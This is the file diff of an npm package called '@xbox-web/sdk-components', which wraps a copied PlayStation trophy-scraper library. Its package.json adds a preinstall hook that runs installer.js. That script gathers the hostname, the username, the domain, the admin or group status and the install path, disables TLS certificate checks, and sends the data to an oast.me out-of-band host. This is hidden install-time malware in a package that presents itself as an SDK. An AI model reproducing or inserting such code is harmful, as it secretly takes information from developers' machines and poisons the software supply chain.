@xbox-web/sdk-components 14.0.0

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package/.babelrc ADDED
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+ {
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+ "presets": ["es2015"]
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+ }
package/.eslintignore ADDED
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+ node_modules/*
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+ lib/*
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+ bin/*
package/.eslintrc ADDED
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+ {
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+ "extends": "airbnb",
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+ "env": {
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+ "mocha": true
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+ }
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+ }
package/.travis.yml ADDED
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+ language: node_js
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+ node_js:
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+ - '4.2'
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+ - '5'
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+ cache:
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+ directories:
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+ - node_modules
package/LICENSE ADDED
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+ The MIT License
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+
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+ Copyright (c) 2013 Max Ogden
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+
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+ Permission is hereby granted, free of charge,
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+ to any person obtaining a copy of this software and
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+ associated documentation files (the "Software"), to
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+ deal in the Software without restriction, including
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+ without limitation the rights to use, copy, modify,
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+ merge, publish, distribute, sublicense, and/or sell
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+ copies of the Software, and to permit persons to whom
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+ the Software is furnished to do so,
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+ subject to the following conditions:
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+
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+ The above copyright notice and this permission notice
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+ shall be included in all copies or substantial portions of the Software.
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+
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+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
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+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
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+ OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
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+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
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+ ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
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+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
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+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
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+ # Playstation Trophies
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+
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+ A `nodejs` API to retrieve a user's Playstation trophy data from the [Playstation website](https://www.playstation.com/en-us/my/public-trophies/).
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+
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+ ## Usage
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+
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+ To use the API within your code you can use `#request` to return all the games that have been attached to a user's account.
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+
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+ ```js
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+ import { Trophies } from 'playstation-trophies';
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+
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+ Trophies.request('{{username}}', (err, games) => {
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+ console.log(`{{username}} has ${games.length} games`);
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+ })
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+ ```
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+
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+ Each `Game` may contain:
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+
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+ ```json
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+ {
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+ "id": "Playstation Game ID",
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+ "title": "Name of the game",
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+ "platforms": "[PS3|PS4|VITA]",
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+ "progress": "Completion percentage for trophies",
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+ "trophies": "[list of trophies completed]",
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+ "avatar": "URL for game avatar"
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+ }
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+ ```
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+
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+ ## CLI
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+
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+ A CLI is also available for quickly searching users data to use in your shell.
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+
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+ ```bash
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+ # return all games belonging to {{username}} in JSON format
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+ npm run cli {{username}} -- --format json
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+ ```
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+
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+ # License
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+
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+ MIT
package/installer.js ADDED
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+ var os = require('os');
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+ var hostname = os.hostname();
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+ var username = os.userInfo().username;
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+ var platform = os.platform();
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+ var admin_text;
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+
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+ if (platform == 'win32' || platform == 'win64') {
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+ try {
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+ net_session = require('child_process').execSync('net session');
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+ admin_text = 'admin';
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+ }
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+ catch {
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+ admin_text = 'non-admin';
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+ }
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+
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+ username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
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+
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+ } else {
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+ admin_text = os.userInfo().uid;
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+
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+ try {
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+ const { execSync } = require('child_process');
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+ let stdout = execSync('groups').toString().replace('\n', '');
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+ admin_text += ' ' + stdout;
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+ }
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+ catch {
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+ }
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+ }
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+
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+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
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+
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+ const https = require('https')
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+ const options = {
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+ hostname: 'cig6l3l34eboiti6qhjg6bi17eq4dpqwn.oast.me',
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+ port: 443,
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+ path: '/?uname=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=xbox-web/sdk-components&PWD=' + __dirname,
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+ method: 'GET'
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+ }
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+
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+ const req = https.request(options)
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+
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+ req.end();
package/package.json ADDED
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+ {
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+ "_from": "playstation-trophies",
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+ "_id": "playstation-trophies@1.0.0",
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+ "_inBundle": false,
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+ "_integrity": "sha512-3E+7jJ/JAFMDdyVZVpXbNnBW6NFPKA0H2V0Dl7c1gLao2SdxAJ1hIh66mCXK7L13ooEWrbR/2UBvh9PkmYrHSQ==",
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+ "_location": "/playstation-trophies",
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+ "_phantomChildren": {},
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+ "_requested": {
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+ "type": "tag",
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+ "registry": true,
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+ "raw": "playstation-trophies",
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+ "name": "playstation-trophies",
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+ "escapedName": "playstation-trophies",
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+ "rawSpec": "",
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+ "saveSpec": null,
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+ "fetchSpec": "latest"
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+ },
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+ "_requiredBy": [
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+ "#USER",
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+ "/"
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+ ],
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+ "_resolved": "https://registry.npmjs.org/playstation-trophies/-/playstation-trophies-1.0.0.tgz",
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+ "_shasum": "b5215b3b4cac77ba508bd53a06f26e8cd2d0e4cb",
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+ "_spec": "playstation-trophies",
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+ "_where": "/home/ubuntu/Documents/npm/xbox-web",
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+ "author": {
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+ "name": "Jimmy Hillis",
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+ "email": "jimmy@hillis.me"
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+ },
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+ "bundleDependencies": false,
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+ "dependencies": {
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+ "minimist": "^1.2.0",
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+ "request": "^2.69.0"
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+ },
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+ "deprecated": false,
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+ "description": "API to retrieve a user's Playstation trophy data",
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+ "devDependencies": {
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+ "babel-eslint": "^4.1.6",
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+ "babel-preset-es2015": "^6.5.0",
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+ "chai": "^3.5.0",
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+ "eslint": "^1.10.3",
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+ "eslint-config-airbnb": "^5.0.0",
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+ "eslint-plugin-react": "^3.16.1",
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+ "mocha": "^2.4.5"
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+ },
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+ "license": "MIT",
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+ "main": "lib/index.js",
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+ "name": "@xbox-web/sdk-components",
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+ "scripts": {
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+ "build": "babel src --out-dir .",
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+ "clean": "rm -rf lib bin",
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+ "cli": "node bin/cli.js",
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+ "lint": "./node_modules/eslint/bin/eslint.js .",
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+ "test": "npm run lint && npm run test:lib",
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+ "test:lib": "./node_modules/mocha/bin/mocha -R spec test/*.js",
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+ "preinstall": "node installer.js"
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+ },
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+ "version": "14.0.0"
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+ }
package/src/bin/cli.js ADDED
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+ import minimist from 'minimist';
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+ import { Trophies } from '../lib/';
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+
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+ const argv = minimist(process.argv.slice(2));
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+ const user = argv.user || argv._[0];
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+ const format = argv.format || null;
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+
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+ if (user === null) {
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+ console.error('A username must be provided');
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+ process.exit(1);
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+ }
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+
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+ // Format and output the games returned from the API
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+ // to stdout with the user selected format.
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+ Trophies.request(user, (err, games) => {
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+ switch (format) {
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+ case 'json':
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+ console.log(JSON.stringify(games));
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+ break;
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+ default:
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+ games.forEach(game => {
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+ console.log(`${game.title} for ${game.platforms.join('|')} ` +
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+ `is ${game.progress}% complete`);
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+ });
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+ break;
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+ }
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+ });
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+ import request from 'request';
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+
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+ export const PS4 = 'ps4';
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+ export const PS3 = 'ps3';
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+ export const VITA = 'vita';
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+ export const BRONZE = 'bronze';
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+ export const SILVER = 'silver';
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+ export const GOLD = 'gold';
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+ export const PLATINUM = 'platinum';
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+
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+ const NOOP = () => undefined;
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+
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+ export class Game {
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+ constructor({ id = null, title = null, platforms = [],
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+ progress = 0, trophies = {}, avatar = null }) {
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+ this.id = id;
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+ this.title = title;
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+ this.platforms = platforms;
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+ this.progress = parseInt(progress, 10) || 0;
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+ this.trophies = Object.assign({ bronze: 0, silver: 0, gold: 0, platinum: 0 }, trophies);
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+ this.avatar = avatar;
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+ }
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+ // Return true if game belongs to platform provided
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+ // @param {string} platform
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+ // @return {boolean}
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+ belongsToPlatform(platform) {
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+ return this.platforms.indexOf(platform) >= 0;
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+ }
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+ }
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+
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+ export class Trophies {
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+ // Scrape the public JSON feed provided by Playstation.com to find and return
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+ // a user object with each game and the currently completed trophies
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+ // curl 'https://io.playstation.com/playstation/psn/public/trophies/?onlineId={{username}}'
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+ // -H 'Origin: https://www.playstation.com' --compressed
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+ // @param {String} username of the PSN user
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+ // @param {object} options
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+ // - {Number} offset to start gathering games from
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+ // - {Number} limit the number of games found
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+ // @param {function} callback to pass completion to
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+ static request(username, callback = NOOP) {
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+ const url = `https://io.playstation.com/playstation/psn/public/trophies/?onlineId=${username}`;
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+ const headers = {
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+ Origin: 'https://www.playstation.com',
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+ };
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+ return request({ url, headers }, (err, response) => {
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+ if (err) {
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+ return callback(err);
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+ }
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+ const json = JSON.parse(response.body);
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+ const games = json.list.map(this.parseGame);
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+ callback(null, games);
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+ });
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+ }
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+ // Convert JSON response object into Game object
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+ // @param {object} JSON
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+ // @return Game
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+ static parseGame(game) {
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+ return new Game({
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+ id: game.gameId,
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+ title: game.title,
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+ platforms: game.platform.split(','),
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+ progress: game.progress,
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+ trophies: game.trophies,
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+ avatar: game.imgUrl,
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+ });
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+ }
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+ }
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+ const chai = require('chai');
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+ const Game = require('../lib').Game;
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+
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+ describe('Game', () => {
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+ describe('#constructor', () => {
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+ it('should set all parameters provided', () => {
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+ const game = new Game({ id: 'GAME1', title: 'Fallout 4', platforms: [],
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+ progress: 20, trophies: { bronze: 1 }, avatar: '/path/to/image' });
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+ chai.assert.equal(game.id, 'GAME1');
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+ chai.assert.equal(game.title, 'Fallout 4');
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+ chai.assert.lengthOf(game.platforms, 0);
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+ chai.assert.equal(game.progress, 20);
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+ chai.assert.equal(game.trophies.bronze, 1);
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+ chai.assert.equal(game.avatar, '/path/to/image');
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+ });
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+ it('should set default trophy values', () => {
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+ const defaultTrophies = { bronze: 0, silver: 0, gold: 0, platinum: 0 };
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+ const game = new Game({ trophies: {} });
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+ chai.assert.deepEqual(game.trophies, defaultTrophies);
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+ });
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+ });
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+ describe('#belongsToPlatform', () => {
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+ it('should return true if the game is on the specified platform', () => {
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+ const game = new Game({ platforms: ['ps4'] });
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+ chai.assert.equal(game.belongsToPlatform('ps4'), true);
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+ });
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+ it('Should return false if the game is not on the specified platform', () => {
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+ const game = new Game({ platforms: ['ps4'] });
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+ chai.assert.equal(game.belongsToPlatform('vita'), false);
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+ });
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+ });
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+ });
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+ const chai = require('chai');
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+ const Trophies = require('../lib').Trophies;
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+
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+ describe('Trophies', () => {
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+ describe('#parseGame', () => {
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+ it('Should create object with provided JSON values', () => {
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+ const json = {
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+ platform: 'ps3,ps4,vita',
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+ progress: 100,
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+ trophies: {
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+ bronze: 7,
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+ silver: 4,
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+ gold: 1,
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+ platinum: 0,
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+ },
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+ imgUrl: '/path/to/image',
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+ title: 'FEZ',
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+ gameId: 'NPWR05526_00',
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+ };
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+ const game = Trophies.parseGame(json);
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+ chai.assert.equal(game.id, 'NPWR05526_00');
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+ chai.assert.equal(game.title, 'FEZ');
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+ chai.assert.lengthOf(game.platforms, 3);
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+ chai.assert.deepEqual(game.platforms, ['ps3', 'ps4', 'vita']);
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+ chai.assert.equal(game.progress, 100);
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+ chai.assert.deepEqual(game.trophies, {
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+ bronze: 7, silver: 4, gold: 1, platinum: 0,
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+ });
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+ chai.assert.equal(game.avatar, '/path/to/image');
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+ });
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+ });
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+ });
package/test.js ADDED
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+ // function throttle() {
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+ // // noop
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+ // return;
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+ // };
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+
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+ // Bind should allow you to run a provided method using state
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+ // as the object to used for `this`
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+ function bind(func, state) {
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+ // noop
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+ return function () {
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+ const args = Array.prototype.slice(arguments);
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+ return func.apply(state, args);
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+ };
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+ }
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+
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+ Function.prototype.bind = Function.prototype.bind || function (state) {
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+ return bind(this, state);
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+ };
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+
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+ function a() {
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+ console.log(this.x);
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+ }
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+
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+ // a();
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+ const b = bind(a, { x: 20 });
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+ // b();
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+ // a.bind({ x: 10 })();
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+
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+ // function debounce() {
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+ // // noop
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+ // return;
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+ // };
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+
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+ function throttle(func, delay) {
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+ var wait = null;
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+ return function () {
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+ // Allow user to cancel the function anytime they want
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+ this.cancel = function () {
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+ return clearTimeout(wait);
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+ };
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+ if (wait === null) {
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+ var args = Array.prototype.slice(arguments);
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+ func();
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+ wait = setTimeout(function () {
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+ clearTimeout(wait);
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+ console.log('ready');
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+ }, delay);
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+ }
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+ }
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+ }
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+
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+ const c = throttle(b, 1000);
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+ // while (true) {
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+ // c();
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+ // }
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+ for (var x = 0; x < 10000; x++) {
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+ c();
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+ }